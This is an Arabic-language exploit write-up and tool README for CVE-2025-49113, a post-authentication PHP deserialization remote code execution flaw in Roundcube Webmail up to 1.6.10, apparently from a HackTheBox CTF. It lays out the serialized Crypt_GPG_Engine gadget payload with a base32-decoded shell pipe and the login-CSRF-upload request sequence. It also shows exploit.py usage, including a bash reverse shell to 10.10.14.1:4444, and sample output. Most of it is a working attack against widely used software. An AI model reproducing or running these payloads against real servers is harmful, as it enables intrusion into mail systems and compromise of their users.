
CVE-2025-49113 – Roundcube ≤1.6.10 ثغرة تنفيذ تعليمات برمجية عن بُعد بعد المصادقة عبر إلغاء تسلسل كائنات PHP (HackTheBox CTF)
| الحقل | التفاصيل |
|---|
| CVE | CVE-2025-49113 |
| البرنامج | Roundcube Webmail |
| الإصدارات المتأثرة | ≤ 1.6.10 |
| نوع الثغرة | إلغاء تسلسل كائنات PHP → تنفيذ أوامر عن بُعد |
| المصادقة | مطلوبة (أي مستخدم صالح) |
| التأثير | تنفيذ أوامر عن بُعد على الخادم |
| السياق | تم اكتشافها خلال تحدي HackTheBox CTF |
إصدارات Roundcube Webmail حتى 1.6.10 شاملة معرضة لثغرة تنفيذ أوامر عن بُعد بعد المصادقة. يقوم معالج تحميل الملفات بإلغاء تسلسل كائن PHP مضمن في اسم الملف المُرفَع. من خلال صياغة اسم ملف ضار يحتوي على كائن Crypt_GPG_Engine مُسلسَل، يمكن لمهاجم مُوثَّق تشغيل أوامر عشوائية على الخادم الأساسي عند معالجة اسم الملف.
إلغاء تسلسل كائنات PHP (CWE-502). نقطة نهاية تحميل الملفات في Roundcube تمرر اسم الملف المقدم من العميل عبر مسار إلغاء تسلسل دون التحقق منه. تتوفر فئة Crypt_GPG_Engine في سلسلة التبعيات الخاصة بـ Roundcube وتعمل كسلسلة أدوات قابلة للاستخدام.
تحتوي فئة Crypt_GPG_Engine على خاصية _gpgconf التي تمرر إلى استدعاء على مستوى النظام أثناء إتلاف/تهيئة الكائن. من خلال تسلسل مثيل بقيمة _gpgconf مُصنَّعة، يجبر المهاجم على تنفيذ الأمر.
تنسيق الحمولة المسلسلة:
|O:16:"Crypt_GPG_Engine":3:{
s:8:"_process"; b:0;
s:8:"_gpgconf"; s:<len>:"<أمر مشفر بـ Base32> | base32 -d | sh &#";
s:8:"_homedir"; s:0:"";
}
يتم ترميز الأمر باستخدام Base32 لتجنب مشاكل الأحرف الخاصة في حقل اسم الملف.
المهاجم (مُوثَّق)
│
▼
GET /?_task=login → جلب رمز CSRF + كود الجلسة
│
▼
POST /?_task=login → المصادقة ببيانات اعتماد صالحة
│
▼
POST /?_task=settings&_action=upload
Content-Disposition: filename="<الحمولة المسلسلة>"
│
▼
الخادم يلغي تسلسل اسم الملف → يتم إنشاء مثيل لـ Crypt_GPG_Engine
│
▼
تنفيذ _gpgconf → يتم تشغيل أمر نظام التشغيل كمستخدم خادم الويب
يتم ترميز الأمر باستخدام Base32 لتجنب الأحرف التي قد تفسد حقل اسم الملف متعدد الأجزاء (اقتباسات، شرطات، إلخ). الأمر النهائي المنفذ على الخادم هو:
echo "<B32_CMD>" | base32 -d | sh
python3 exploit.py -u <مستخدم> -p <كلمة مرور> -i <الهدف URL> -x <أمر>
| العلامة | الوصف |
|---|---|
-u | اسم مستخدم Roundcube |
-p | كلمة مرور Roundcube |
-i | عنوان الهدف (مثل http://mail.target.htb) |
-x | الأمر المراد تنفيذه على الخادم |
# التحقق من تنفيذ الأمر كمستخدم خادم الويب
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"
# شل عكسي
python3 exploit.py -u admin -p password -i http://mail.target.htb \
-x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
لا حاجة لمكتبات خارجية — يستخدم مكتبة Python القياسية فقط (http.client, urllib, base64, إلخ).
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] بدء استغلال Roundcube (CVE-2025-49113)
[*] جلب رمز CSRF...
[+] تم الحصول على رمز CSRF: abc123...
[*] جاري المصادقة...
[+] نجحت المصادقة
[*] تنفيذ الأمر: id
[+] اكتمل الاستغلال. تحقق من الهدف لتنفيذ الأمر.